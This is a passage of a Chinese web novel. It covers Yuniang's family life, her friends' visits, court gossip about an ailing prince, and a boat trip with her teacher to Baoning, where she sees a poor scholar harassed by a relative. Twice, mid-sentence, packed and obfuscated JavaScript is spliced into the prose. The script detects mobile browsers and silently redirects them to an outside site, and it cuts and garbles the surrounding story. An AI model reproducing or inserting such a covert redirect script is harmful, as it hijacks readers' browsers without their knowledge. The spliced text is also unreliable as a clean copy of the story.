世家谱上排名前十的家族,除了全力支持皇上的陈家,其他全部被斩杀殆尽。十名开外的三流家族,譬如郑家这样的,要么投靠要么逃命。 再如贺家、梅家、王家这样经不起风吹雨打的的末流小家族,更是不值一提。 时移势易啊! 郑家人走了,杨密也走了,南溪县重新恢复了往日的宁静,街上来来往往的小商小贩,使得南溪县宁静中又有了几分鲜活气。 忙忙碌碌又读了几日书,这日休沐,渔娘牵着弟弟的手在院子里溜达。 十月末了,这几日早晚天气渐冷,圆墩墩的二郎穿上了马甲,牵着姐姐的手走了两圈,一下蹲地上不肯走了。 “别偷懒,刚走了两圈就不走了?昨日你还走了三圈。” “二郎累。” 渔娘可不惯着:“累个啥呀,你早上吃了两个肉包,半碗汤面,一个鸡蛋,你摸摸你挺着的小肚子,还没消化呢,赶紧起来再走两圈。” “梅羡林!” 渔娘拉不动他,撒开他的手,眉头一皱:“你还走不走?” 大名梅羡林,小名二郎的胖墩墩,不情愿地站起来:“二郎走,走一圈。” “不行,你必须再走两圈。这院子就这么点大,走两圈才多久会儿?” 二郎嘴巴一瘪,渔娘默默地看着:“你想哭吗?” “二郎不哭。”胖墩墩忍住。 渔娘忍住笑:“行吧,不想哭就走。” 几个丫头婆子在一旁伺候着,见状不禁都悄悄笑了起来。这个家里,也就他们家大娘子能治住小郎君了。 姐弟俩慢慢悠悠在院子里又走了两圈,伺候的婆子拿着块帕子忙走了过来,先是给小郎君擦汗,又给小郎君背上垫上干棉帕子。 梅二郎被婆子抱进屋里。 “我想吃烤饼,我想喝蜜水,我想……” 婆子忙截断他的话:“我的小祖宗哎,您可别念叨了,就算想吃,好歹等午食时再吃好不好?” 梅二郎不愿意。 阿青悄悄指着窗外,小声说:“娘子还在外头,您想吃也没用。” 梅二郎气鼓鼓的,趴在矮踏上不让人碰他。 要是在他屋里,伺候的人定然拿好吃的哄他去了,可这是在西跨院,大娘子的地方,下人可不敢跟大娘子对着来,只能让小郎君气着。 梅二郎在屋里闹脾气,渔娘都听到了,轻哼一声:“比夏日里又痴长了几个月,说话倒是越发顺溜了,可惜只知道要吃的。” “来福。” 正在哄小主子的来福听到大娘子唤他,忙跑出来:“大娘,您叫我。” “我叫梅竹每日教二郎两句《千字文》,如今背到哪儿了?” 二郎年岁小,身边照顾他吃穿的都是正院的丫头婆子,属于二郎的人只有管事梅竹,和小厮来福。 梅竹是指给二郎的管事,如今二郎还用不着他,梅竹主要的差事是帮着管家安排家里的活儿,梅竹听渔娘吩咐,每日早晨会抽出一点空闲教二郎背书。 来福也跟着小主子背书,他赶紧道:“小主子已经背到’恬笔伦纸,钧巧任钓’了。” 渔娘满意:“不错,梅竹教得好。” 来福刚松了口气,渔娘又问:“你背到哪儿了?” “奴才愚笨,如今刚背到’守真志满,逐物意移’。比小郎君差远了。”来福回话时有些脸红,他比小郎君大八岁,却不如小郎君记性好。 “无碍,空了多记诵,用心些学。” “奴才记住了。” “嗯,下去吧。” 来福退下,阿青端着一套茶碗来,倒了杯润燥生津的天冬红糖茶:“娘子您试试,前日周家小娘子送来的,说是这个季节喝正好。” 渔娘笑道:“淼娘哪里知道这些,肯定是邓丁香告诉她的吧。” “娘子说的正是,听周小娘子身边的丫头说,那头给她送了一大包,她喝不完,分了些给家里人还剩不少,就使人给您送了些来。” 管事妈妈小林氏笑道:“周小娘子跟邓家小郎君到底是重小认识的,情分不一般,周小娘子的福气呀,还在后头。” 渔娘嘴角微翘,淼娘和邓丁香都是她的好友,他们两人以后过得顺遂,自然再好不过了。 渔娘端起茶喝了一口,味道还不错。 “阿青,再泡一壶,给我娘送去。” “哎,奴婢这就去。” 阿青去正院给夫人送茶,过了会儿忙回来:“主子,张大娘子来了。” “快请进来。” 虽衣裳打着补丁,却依然穿得整整齐齐的张大娘子进门就笑:“本来前几日就想进城看你,刚巧有亲戚从长宁县来,就多等了几日。” “长宁县呀,长宁县城里的亲戚还是城外的?” “我家穷,哪里来的城里亲戚。”张大娘子大方坐下。 渔娘给她倒茶,笑问:“你家亲戚不是都在清溪村吗?怎么还有亲戚在长宁县?” “表亲,我娘的堂姐嫁到了长宁县乡下,家里几块薄田,并一片竹林。靠着这点地的收成,还有竹林里出的一点竹笋过日子,勉强填饱肚皮罢了。也就是今年丰收,手里有点余钱,这才来南溪县走一趟,在我家住了几天,跟我娘闲话几日。” 张大娘道:“我表姨妈家送了许多今年晒干的春笋,自家吃的,选的都是嫩尖尖晒干,我送些给你吃。” “那感情好,多谢了。” 张大娘拉着渔娘的手靠近些,压低声音道:“说到今年卖粮是怎么回事?那日有个穿绸衣的管事来咱们村里收粮,张口就说二十文一斗,还说是罗知县说的。” “什么?他们提了罗知县的名字?” “可不是,我爹娘都气坏了,说 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张大娘子满脸笑意:“我娘说了,今年卖了粮,加上我弟弟们交到家里的银钱,家里富裕了些,等到冬至后,我家要买些猪肉晒腊肉吃。老鸭子也杀几只做腊鸭。” “你家舍得杀鸭子了?” “舍得,不舍得也没办法,我娘说最老的那几只鸭子不怎么生蛋了,冬日里养着也白养。” “你们家卖不卖老鸭子?若是卖,我家买几只老鸭子炖来吃。” “卖,你买我就卖。” 茶喝了两盏,话说了一箩筐,时辰不早了,渔娘留张大娘子在家用午食,张大娘子也不扭捏,直接点头答应了。 怕张大娘子不自在,渔娘留张大娘子在自己院子里用午食,也只准备了三菜一汤,足够两人吃了。 正要用饭时,林妈妈亲自提来一道菜,笑着道:“听说小姐这儿来客了,夫人特地吩咐老奴送道菜来。” 送的是一道红烧五花肉,油水多。 渔娘笑眯眯道:“劳烦林妈妈跑一趟。” 张大娘子也忙道:“多谢夫人款待,一会儿我去给夫人请安。” 梅家住在清溪村时张大娘子常去梅家,渔娘的娘亲也熟悉。 渔娘叫屋里伺候的丫头都出去,她和张大娘子一边用饭一边说些村里的琐事。 用了午食后小歇了会儿,渔娘带着张大娘子去正院请安。从正院出来,渔娘带着张大娘子去周家。 张大娘子认识周淼也是因渔娘之故,两人都是渔娘的闺中密友,常来常往的,也就熟悉了。 周家人忙,周家只有周淼和她娘在家,两人先去周家夫人那儿请安,然后才跟着周淼去她房间里。 “听渔娘说还有一个多月你就要成亲了,那会儿天冷,我估计来不了,所以先把添妆的礼给你,你可别怪我怠慢了你。” 淼娘笑道:“好姐姐,你心里记挂我,我自然也体谅你。你今日肯来我都心怀感谢了,从哪儿说怪罪的话。” 张大娘子用包袱皮包着一对枕巾:“我绣花的手艺还是跟你和渔娘学的,绣的不好,是个心意,你就收下了吧。” 淼娘还在看枕巾上的颇有乡趣的绣花,渔娘咬了口酥饼,咽下去就道:“可别带上我,我一个勉强会缝补丁的人当不起你的吹捧。以后也千万别说我会绣花,我怕哪日露馅儿,丢了我梅家的人。” 淼娘和张大娘子放声大笑,淼娘笑出眼泪来,一边拿帕子擦眼角一边笑道:“我的亲娘哎,认识你这么多年,我竟不知你还是个实诚人。” “有一说一,要论书画我还有几分本事,这绣花嘛,还是交给我身边的丫头们吧。” 张大娘子笑够了,这才道:“你爹娘心疼你,以后定会给你找户好人家,你不会做衣裳绣花也不要紧。” 渔娘也不害羞,笑道:“那肯定不能嫌弃我,我虽不会绣花,总不会叫他缺衣裳穿。” 张大娘子和淼娘闻言又大笑了一回,淼娘捂住肚皮,边笑边道:“笑的我肚皮疼,等你定亲那日,我定要上门瞧瞧你的夫婿是哪家人。” 这个嘛,那就不知道了。 三个小姐妹笑闹了一回,又说了好一会儿话,茶水喝了两壶,点心上了两回,直到末时初刻,因张大娘子要赶回家去,三人才散了。 周家的点心好吃,渔娘和张大娘子走时,淼娘送她们一人一盒新烤的酥饼。 提着一盒酥饼回家,二郎高兴坏了,喊姐姐的语气都甜甜的。 渔娘捏捏他的小肉脸,笑着问她爹:“谁写的信?” 梅长湖一边看信一边说:“还能哪儿来的信,淮安送来的。” 之前写信送去淮安打听京城的事,这事儿有结果了。 梅长湖看完信后,把信递给夫人。 渔娘凑到娘亲身边一起看,信上说大皇子确实生了场大病,御医久治不好,宫里还请了外面的大夫进宫问诊,闹得满城皆知。 折腾了许多日子,大皇子的命救回来了,身子却坏了。 “人还活着,以后只怕是个药罐子,担当不了重任。” “大皇子不行了,那不是二皇子要出头了?” “那不一定,大皇子是嫡长子,大皇子身子骨垮了,可大皇子的嫡子也十岁出头了,那是嫡长孙。” 二皇子母族出自世家,皇上为了稳定朝堂,扶持二皇子的可能性不大,扶持嫡长孙的可能性倒是不小。 “不管怎么说,人还活着就行。” 人活着,朝堂格局暂时就不会被打破,寒门世家的争斗也在可控范围内,波及不到南溪县。 渔娘听她爹吩咐,把信送去给先生看。 一脚踏进孙家时,渔娘突然想到,郑昂亲自来叙州府善后,还把姿态摆得那么低,是不是那时候郑家就知道大皇子死不了,二皇子暂时没机会,郑家还要继续苟着? 孙浔看完信后,笑道:“或许有这个缘由。” 但是不管如何,朝局稳当,那就是好事,特别是对王苍、贺文嘉这两个要考科举的人来说。 渔娘嘛,不关心科举:“先生,马上十一月了,咱们什么时候出发去保宁府?” “不急,到时候自然会通知你。” 哎,好吧。 17. 第 17 章 十一月初三,宜出行。 孙家、梅家、贺家、王家的小厮把主子们的行李搬上船,冷飕飕的江风吹过来,冷的渔娘紧了紧肩上的披风。 连续几日降温,南溪县的百姓已经穿上棉衣了。今日天气阴沉,站在江边,冷风往骨子里钻。 “爹,你们家去吧,我们会尽快回来的。” 梅长湖不放心闺女,忍不住道:“要不爹跟你们一起去保宁府?” 孙浔道:“师弟不用担心,我们十几人出行,身边带着家丁护卫,定会平安回来。” 林氏拉着梅长湖,笑道:“有师兄在,我们自然放心。” 贺宁远连连点头:“我家二郎是个爱闹腾的,在家就算了,在外面若是不听教导,你只管揍。” “爹~” 贺宁远完全不看儿子,扭头又交代跟去的管事贺全:“你也看着二郎些。” “小的记住了。” 贺宁远扶着夫人往后退了一步,招招手:“走吧,早些回来。” 船家开船了,渔娘、贺文嘉、王苍站在船头,渔娘轻吸一口气,鼻腔冷的没感觉了。 “呀,梅羡渔,你冻得流清鼻涕了。”贺文嘉惊讶地指着她鼻子。 “胡说。”渔娘赶紧拿帕子擦了下鼻尖。 贺文嘉哈哈大笑:“你不是说没有吗?那你擦什么擦,这不是此地无银三百两吗。” 渔娘气的扭头打他,贺文嘉往后一蹦跶:“哎,就是打不着,略略略。” 渔娘提着裙子跑过去,贺文嘉扭头跑了,两个人追逐打闹起来,伺候的下人忙劝。 “小姐别恼,在船上呢,小心摔着。” 贺全拦住自家二少爷,低声劝道:“二爷,你可要记得刚才老爷交代的话,咱们的船还没离开南溪县您就闹?” 贺文嘉正想回嘴,眼睛一转看到先生黑了脸,他悻悻道:“我就是逗逗她。” 渔娘跑过来,一巴掌拍他背上,贺文嘉哎哟一声,不敢还手。 渔娘轻哼:“讨人嫌!” 孙浔叹气:“你们都多大的人了,出门在外,行事稳当些。” “我们知道了。” 孙浔觉得他们不知道。 “可要读书?” 贺文嘉忙摇头:“坐船看书晕得很。” 孙浔训道:“不想读书就别在我跟前闹腾。” “好!” 渔娘和贺文嘉被训了一顿,王苍站在不远处看得清楚,顿时笑了起来。 “恰如潇洒美少年,皎如玉树临风前!” 罗家的船驶过,罗县令看到独立船头的王苍,忍不住赞道。 刘氏嘴角含笑:“王家这位独子确实养得好,今年十七了吧。” “没错,王苍比贺家二郎大三岁,今年已十七了。” 刘舒娘忍不住多看了两眼。 张氏有心说女儿两句,当着小姑子夫妻的面,不好直说落了女儿的面子,就道:“十七岁的秀才也不算少见吧。” 刘舒娘看向她娘,前些日子她娘不是还感叹不能和王家结亲,属实遗憾吗? “十七岁的秀才不算少见,可他若是三年后考中举人,隔年又考中秀才,二十出头高中进士,那就很难得了。”罗县令跟孙浔关系不错,王苍和贺文嘉读书如何,他还是知道一二的,王苍聪慧又勤奋,罗县令十分看好。 张氏不肯赞同:“举人、进士都是读书的读的好的人尖,哪里就那么好考了。” “再说了,王家不是世家吗?就算来日考中进士,前程也比不上汪四郎吧。”张氏期待地望向小姑子。 叙州府下辖高县的县令姓汪,汪县令比罗县令小十余岁,两人却是同年中的进士,这些年一直有书信来往。 罗县令调任到南溪县后,距高县不过就更近了。因同年同僚之谊,又出身相仿,两人交往频繁,书信来往不绝。罗县令得知汪四郎年十七,还未婚配,就动了把侄女说给汪家四郎的心思。 汪四郎前些年中了秀才,今年八月考举人试未中,下一回举人试又要三年,汪家不想等了,就接了罗县令的话,两家人趁着休沐相约到叙州府相聚,借此相看相看。 大嫂满眼期盼得一佳婿,罗县令不好泼凉水,笑道:“汪四郎有个进士出身的父亲,又有个已考中举人的大哥,他今年虽未中举,我看学识反而是其次,估计是年纪小,大考心里紧张才没中,再用心学三年,或许就可得中了。别说二十岁中举,就是三十岁中举也算年轻,待到汪四郎考中进士,前程自然不差。” 刘氏顺着话往下说:“大嫂,汪县令和夫君是同年,两家的交情不错。汪县令的夫人我也是见过的,是和气人儿,汪家四郎和舒娘的婚事若是成了,好日子还在后头。” 张氏听得心头满意:“我一个妇道人家没什么见识,舒娘的婚事还要指望你们操持。舒娘啊,以后可要记得孝顺你小姑和姑丈啊。” 刘舒娘脸颊微红,害羞地低下了头。 听小姑和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14175316|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑丈说起来,汪家四郎哪儿都好,只盼望两人有缘分吧。 两艘船一东一西,罗家的船到叙州府时,渔娘他们还在河上飘着,江风吹在身上,越发冷了。 吩咐人把船舱的门窗都关上,屋里又燃起了火盆,过了好一会儿,才觉得船舱里稍微暖和了些。 捧着刚煮的甜汤喝了口,贺文嘉看了眼门窗:“也不知道怎么糊的纸,门窗都关严实了,怎么还漏风。” “你冷?” “手不冷了,我的脚冷。” 渔娘给先生倒了一碗甜汤,笑道:“大冬天坐船哪有不冷的,要怪就怪先生吧,为什么不早两月出行。要是早两月天气暖和,师娘定然也是愿意出门的。” 于氏本来也想一起去保宁府,无奈她身子不舒坦,不好出门受冷风吹,就不去了。 孙浔放下书,接过弟子的孝敬,喝了口热汤:“若是嫌江风吹的冷,咱们上岸乘马车去保宁府也可。” 贺文嘉摇头:“算了,还是行船快些,坐马车也遭罪。” 王苍问小厮王连:“咱们到哪儿了?” “回主子,刚才船老大说快到泸州了,若是顺利,明日可到江津县。” 孙浔放下汤碗:“晚上歇息时盖厚些,别着凉了。” 王苍、贺文嘉、渔娘都跟着点头。 坐船出行,好的地方在于随时都能吃到新鲜的江鱼,喝到鲜美的鱼汤,不好的地方在于,江风吹着确实冷。 碰上天气好的时候,三人还会去船头走一走,赏一赏两岸的秀美风景。看到喜欢的景色,渔娘还会画几笔画,贺文嘉抢着往画上题字。 渔娘嫌他烦人,两人闹腾会儿,又跑去船舱里烤火去了。 天气若是不好,三人都在先生身边看书,渔娘看累了,拿起笔写着什么,王苍知道她在写游记。 又是风和日丽的一天,船停靠在保宁府城外的码头,渔娘扶着阿青的手下船。 贺文嘉兴奋地高喊一声:“咱们到保宁府了。” 阳光下,黑字白底醋字旗迎风招展,眼睛被翻飞的醋旗抓住,鼻尖都是酸溜溜的醋味儿。 “咱们南溪县码头酒字旗多,保宁府却是醋字旗,每回看都新鲜。” 王苍往后看了眼搬行李的下人,对贺文嘉道:“五年前咱们跟着先生来保宁府时先生送了两坛叙府大曲,这回送了十坛。” 渔娘:“张通判爱酒。” 三人正说着呢,张家的管家就快步迎过来了。 18. 第 18 章 张通判家的管家也是跟着主家从松江府来的,他笑着迎接孙浔一行人去府上,一路上满口吴侬软语,孙浔出身淮安,竟然也听得懂,两人聊的热络。 王苍出身苏州,离松江府不远,即使五岁上就到了南溪县,从小听母亲跟家里下人说苏州话,他也听的懂。 梅家和贺家都是从淮安迁到南溪县的,且渔娘和贺文嘉生就生在南溪县,偶尔听家里人说淮安那边的话,说得不流利,倒是能听,可张通判家的管家说话快,加之口音不一样,两人只偶尔听得懂一两句。 到了张家宅子,下马车,三人跟在先生后头。贺文嘉小声问渔娘:“那管家刚才说的什么鱼?” 渔娘没听懂,摇了摇头,又小声猜测:“松江府有什么鱼?鲤鱼?” 王苍笑道:“你们俩可别张冠李戴,张管家明明说的是梨。” 贺文嘉诧异:“说的是这个?” 王苍小声解释:“松江府仓城产一种梨,汁多味美,秋日时张通判老家托人带了四筐来,张通判得知先生要来,本想给先生留一筐,可惜放久了味道就变了,张通判就叫人把梨熬成秋梨膏给先生留着。” “哇,张通判跟咱们先生关系竟这样好,得了老家一筐梨都记挂着咱们先生。” 说到仓城的梨渔娘倒是知道一些,主要是从她爹娘那儿听来的。 多年前,张通判原名张砚,张砚和先生还在求学时,两人同住一间学舍,同起同卧,还一起研习功课,十分要好。 后来,先生被她祖父收为弟子,带去京城读书,进度一日千里,十分容易就得了解元,而那时,张砚依然还在南方书院读书,勉强得中秀才而已。 先生没有忘记这位同窗,经常给张砚寄读书笔记、京城各色风物、书信等,鼓励张通判坚持学业。而张砚呢,无以为报,每回都寄些家乡的果蔬给先生,其中最得先生喜欢的就是仓城梨。 先生在读书一途上天分显露,一路高歌猛进,很快得中进士,又因殿试写文大骂皇帝,狂生的名号响彻大江南北,那时,张砚还是苏州府小书院内一个籍籍无名的学子。 后来,前朝灭亡,先生成了前朝最后一届进士,张砚紧赶慢赶成了前朝最后一届举人。 大晋朝建立后,先生已经跟着他们家归隐到南溪县,人到中年的张砚考中了大晋朝第一届三榜进士,开始了各地为官的生涯。 曾经的先生不忘拉拔同窗,张砚当官后也没忘记曾经的老友,每到一地任职,年年都会给先生寄些当地物产,当然,承载着两人少年时情谊的仓城梨是最重要的。 贺文嘉听完渔娘的话,扭头跟王苍说:“咱们也是同窗,你以后出去当官了,记得每到一个地方就给我寄些地方特产,什么果子、腊肉、美酒我都要。” 王苍听了忍不住笑道:“行,你以后去地方为官了,也给我寄。” “那咱们说好了,我若是不当官你也给我寄,我也不白占你便宜,到时候我给你寄些南溪县特产,红茶、火腿、竹荪都给你寄。” 渔娘瞥了贺文嘉一眼,这人还真没打算自己去当官呐。 “广明,你可叫我好等啊!”张砚大笑着,急步而行,宽袍大袖四撒开来。 孙浔,字广明。 孙浔笑着迎过去,拍拍他肩膀:“上月你写信说你头疼到不能安寝,这几日如何了?” “多谢你挂念,在家养了半月,这几日好多了。” 两人相携进院:“牙痛可还好?” 张砚笑道:“疼的我脑昏的那颗牙,前两日掉了,可算是让我喘了口气。不提我了,弟妹可好?” “还行,只是不便出行来保宁府送你们。你知道的,我夫人身子弱,冬日江风寒冷,不好叫她受冻。” “咱们兄弟,不说这些见外的话。” 两人在屋里坐下,孙浔招手叫三个弟子过来,给张砚见礼。 王苍、贺文嘉、渔娘三人忙上前行礼。 张砚笑着连连点头,一抚美髯,扭头对孙浔道:“我家儿孙读书的读书,在老家营生的营生,仔细想想,竟没一个比得上你的弟子。当年我就说过,若不是你不肯离你师弟一家远行,我真想请你到我府上当西席。” 孙浔知道张砚说的是王苍和贺文嘉得中秀才的事,他道:“你家大郎二郎不擅读书,三郎却还不错,三十多岁的举人不差了。” “不差是不差,跟你的弟子比起来,差得还远着呢。” 普通读书人,跟聪明的读书人,自然是不同的。 张砚也不丧气,他笑道:“我这个当老子三十岁才中秀才,也没脸说我家几个儿孙。” 孙浔轻笑道:“当年书院里许多同窗,我最喜你豁达的性子。” 张砚大笑几声,亲自给孙浔倒茶:“我从求学时就不如你,当年,我比你小十几岁却和你同窗,你高中解元文名足以夸耀京城时,我才勉强得中秀才。如今你年逾五十,我也牙落发白,老了哦。好好坏坏,这一辈子也快走到尽头了。” “你看你笑如洪钟,哪里就自比拄杖老翁了?” 张砚语气略显得意:“拄杖老翁还需些年岁,大夫说我如今能吃能喝,只要牙疼不厉害,寿数至少还有十余年。年底卸任后,我准备回松江府老家县开个私塾,也学你教几个学子。” 张砚拍着孙浔肩道:“广明,我虽不如你聪明,笨也有笨的好处。我敢说,四书五经,你绝对没有我记诵的次数多,回去教蒙童、秀才,我也不算误了他们。” “连致仕后的事都安排好了,看来你动这个念头不是一日两日了。” 张砚笑叹:“咱们的出身不需提,前朝时我们是寒门子弟,如今的大晋朝,我们依然是寒门。没个人帮扶,考中进士后从七品县令做起,像我这般回乡之前做个六品府通判也不算差。再多熬几年也熬不出什么来,不如归乡过几日清闲日子,不枉费前几十年的辛劳。” “那我以茶代酒,祝张兄回乡一路顺风。” “你来我家刚坐下,这就要祝我回乡一路顺风了?我岂不是明日就该收拾行装回乡?”张砚笑着跟孙浔碰一杯。 “张兄和嫂夫人准备什么时候走?” “过完冬至才好动身。这几日天气不错,你在保宁府多留几日,明后日正逢府学的文会,咱们且去瞧瞧。” 今年八月举人试,保宁府竟一个没中,知府大人心里记挂文治,自己写信托关系请了周边府学的先生学子来保宁府府学交流,还请了几个文名颇盛的大儒。 “叙州府的府学也来人了,据说领头的是韩贤,韩贤主治《诗经》,听说韩贤当年乡试时是诗一房的魁首。” 韩贤是叙州府本地人,孙浔在南溪县居住十余年,自然是听说过他的名号。 “也好,我们去瞧瞧。” 王苍和贺文嘉两人,都已经定下了主经,王苍的主经是《尚书》,贺文嘉的主经是《春秋》。 韩贤闻言有些惊讶:“你这两个学生倒是跟我想的不一样,我以为王苍会选《春秋》,贺文嘉会选《尚书》《诗经》之类。” 孙浔笑着看了两个弟子一眼:“王苍喜欢尚书,文嘉和渔娘喜欢《春秋》。” 所有士子需精通四书,五经不需精通,只需选一门学即可。每年乡试时,选《春秋》《礼记》的学子是最少的,因为难学。 在张砚的印象中,王苍勤奋聪慧,或许会选《春秋》,贺文嘉爱玩些,或许会选容易些的另外三门之一。 人各有志吧! 张砚道:“你主治《春秋》,教文嘉、渔娘倒是顺手,《尚书》虽容易些,你是否要给王苍再找个厉害些的先生?” “他们两个从小跟着我读书,该教的我都教了,等手中的《周史》教完,明年秋天他们会去考府学,府学里名师多,对他们应该有所增益。” 张砚点点头:“说得很是。” 王苍、贺文嘉、渔娘站在一旁听两人闲谈,能学到不少新东西。 今日才到保宁府,张家设宴招待他们师徒四人。 张家眼前只有一个小孙子在保宁府的府学读书,为准备明日的文会忙得没空闲归家,今日招待他们师生四人的,只有张砚和他夫人。 王苍他们三个弟子中,只有渔娘一个小娘子,用完午宴后,渔娘陪着王老夫人说话。 老夫人们看到青春俏丽的小娘子,大多要问问几岁了?家中可已定亲?平日在家做什么打发时间之类的话。渔娘曾见过老夫人一回,这回再见,老夫人问她读书,问师娘身体的话,都不少。 渔娘乖巧伶俐,什么话都能应对得来,言谈之间展现出的学识和教养,叫王老夫人连连点头,当面就夸她,不愧是孙逊和于祭酒孙女一起教出来的小娘子,就是体面。 渔娘坦然接受夸奖,笑眯了眼:“老夫人到保宁府也没多少年,西南官话说得这般流畅也吓了我一跳呢。” 前一回渔娘跟着先生来保宁府还是六年前,那会儿张家人刚从西北过来,吴侬软语中夹杂着西北土话,老夫人拉着她说话,大半她都听不懂。 老夫人大笑起来:“这也不难,你以后若是嫁个四海为官的夫君,三年六年换个地儿,习惯了,你学话也快。” 四海为官吗?听到这句话,渔娘只关心四海两个字。被拘束十多年了,真想去各地走一走。 读万卷书,行万里路嘛。 说到读书人,保宁府府学的学正是个治《礼记》的老古板,以前保宁府府学办文会时,偶尔大家小姐换一身男子的衣裳进去听大儒讲书。自从府学换上这位学正后,再不允许女子进出府学,偷偷也不行。 隔日孙浔带着王苍、贺文嘉,同张砚一起去府学参加文会,渔娘去不了,渔娘领着丫头婆子,再从张家门房上叫了个下人带路,去保宁府街上转悠去了。 要说街上的热闹啊,保宁府最近最热的地方,一是保宁府城外码头,二是府学外面的府学街,附近州县的学子们都来听大儒讲学了。 走在府学街上,到处都看得到三三两两的学子,细听他们说话,就能知道今日上午知府大人要来府学主持文会,隔壁顺庆府府学的大才子写了一首十分风流的咏秋诗,潼川府的学子和保宁府的学子今早在府学门口吵了起来,好像是保宁府的学子嘲笑潼川府的学子难有大用…… 渔娘轻笑一声:“阿青,学子当中碎嘴子也不少嘛。” 阿青掩嘴轻咳,连忙看了看四周:“主子,在大街上呢。” 别说那么大声,这里到处都是学子,叫人听到了不好。 府学街上人来人往,开在府学大门口对面的文新书铺生意尤其好。 掌柜是个会做生意的,书铺里口舌伶俐的伙计手里扬着书,大喊着:“江南五俊才合出的诗文到了,今年各省举人试的文章合集皆在此地……” 渔娘进去看了看,发现文新书铺卖的书比她家书价贵一两成。啧,还是靠着大树好乘凉啊。 “咱们南溪县一个县学才多少人?还大多是童生,秀才一共也没几个,举人嘛,一只手都数得过来。每年也就新增些识字的蒙童,也就买两本《千字文》《百家姓》之类的书。咱们家要不是有个书坊能印刷书送去叙州府卖,恐怕书铺书坊赚的银子,都不够工人月钱。” 渔娘羡慕地看了眼街对面的府学:“书铺还是要开在大地方才好。” 阿青:“咱们家在叙州府府学对面有铺子,前几年本来准备去府学开个书铺,老爷算了算觉得不合算,这才把铺子租给一家卖砚台的。” 文新书铺没有渔娘想要的书,看了一圈就出去了,顺着人潮往前走去。 “站住!” 一声呵斥,叫渔娘停下了脚步,渔娘扭头,看到一个身穿靛蓝色袍服的男子拉扯着一个身穿半旧青灰色棉衣的青年人,不许人走。 渔娘好奇地看过去,只见那个身穿半旧青灰色棉衣的青年人护着手中的书箱,一把推开找他麻烦的人,那人被推倒在地。 “温子乔你好大的胆子,竟然敢推搡我?” 温子乔冷眼看着撒泼的温常德:“我说了,我不会去村学教书,你不用缠着我。” “你说不教我就信了?你要真那么硬气,你搬出温家村。” 温常德撒泼,推的温子乔倒退好几步摔地上,温子乔的竹编书箱摔开了,一叠写好的文章散落地上,挡在渔娘前面的护卫离得近,帮忙捡了起来。 趁那边争吵,渔娘拿过来翻看,字写的不错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温常光靠着他媳妇在家当老爷当惯了,教书教得不好,许多人都不满意,想把温常光换了。 温常光恼羞成怒,跟村里闹了矛盾,如今村学也停了,就这么空了几个月。 长期下去也不是办法,村里说得上话年长的老人们商量后决定,今年就算了,明年开春后村学要继续办,教书先生要么让温子乔来,要么花钱从外面请人。 由此,温常光家恨上了温子乔,温常光的弟弟温常德是个混不吝的,经常找温子乔的不痛快。 渔娘从那位刘阿婆说的话中拼凑出前因后果,把看完的一叠纸交给护卫。 护卫把文章放到温子乔散开的书箱里,跟着主子转身离开府学街。 跟在渔娘身边伺候的小林氏叹声道:“这位小郎君看着是个不错的,无奈家中人丁单薄,这二三年家中只怕难过了。” 刚才听话里话外的意思,温子乔家中的几亩田地勉强够他们母子二人吃饭,家中最大的财产是保宁府城内东北角一座一进院子,家里如今全靠这个院子的租子维持他读书开销。 那院子也不大,租子不多,平日里温子乔还要靠给人写信、去书铺抄书等补贴些才勉强够笔墨钱。 日子本就过得艰难,里正家还打压他们孤儿寡母,以后都不知该何去何从。 “子乔啊,想想你娘,你每日可出门,你娘一个寡妇住在村里,温常德那鳖犊子若是使坏,你娘该怎么活啊。” 刘阿婆话没说透,温子乔却是明白的,温常德他们就是用他的前程拿捏他们母子,吃绝户。 若是想守住村里的家财,要么不读书了,回家种地去。要想读书,或是回村里教书,温常德使坏,他在村里住不安稳,哪有读得进去。 村里住不下去了,那就只能把城里的小院子收回来,他们母子搬到城里住了。村里的田地种不了,大概是低价租给哪户温家人。 温子乔苦笑,都是同姓,说起来祖上都是一家人,他爹还为村里教出许多年轻人来,他爹死了还没半年,竟然这般欺负他家。 碰到这么一出糟心事,渔娘也没游玩的心思了,但又不想回张家,于是转身去城外码头。 渔娘最怕冷了,穿着厚实的棉衣,肩上披着披风,手中捧着精致的暖炉,即使这般,她坐在二楼的窗边喝茶,也要开着窗透气。 一阵冷风吹过来,风直往脖子里钻,浑身冷透了,渔娘大笑。 “爽快啊!” 见大娘子不知道发什么疯,阿青几个丫头都陪着,小林氏壮着胆子劝道:“主子,咱们关上窗户吧,别着凉了。” “关吧。” 小林氏忙把窗关上,阿青给主子倒了杯热茶。 渔娘喝了一口热茶,从嘴热乎到心里,渔娘笑着跟阿青说:“听说保宁府的人喜欢喝醋汤胜过喝茶?” “奴婢可不知道,不过一地有一地的习惯,保宁府产醋,百姓们爱吃醋也正常。” 见主子跟丫头说笑起来,小林氏试探着问:“大娘子,你刚才是否为温家之事动气?” 渔娘淡淡道:“林嫂子,我只是为寡居的娘子们感觉难过,有儿子的寡母尚且如此,家里若是没有男丁的寡母,还不知道被欺负成什么样。” 哦,也有厉害的,王苍的父亲去世后,王苍的母亲把王家紧紧握在手里,仆人不敢欺主,亲戚也不会低看了她。 究其根本,那是因为赵氏不但自己有手腕,她还有个争气的儿子。 小林氏劝道:“要我说,那温家小郎君的母亲若是个刚强的,豁得出去,就算寡居,明面上也受不了许多欺负。” “林嫂子,自己厉害当然可不受欺负,可这不代表那些不厉害的普通人,就活该被欺负。” 林嫂子愣了下,随即低头笑道:“大娘子说的自然是对的。” 渔娘知道自己说的是对的,可就如林嫂子所说,当今世上,女子若是不厉害些,就是被欺负到死的命。 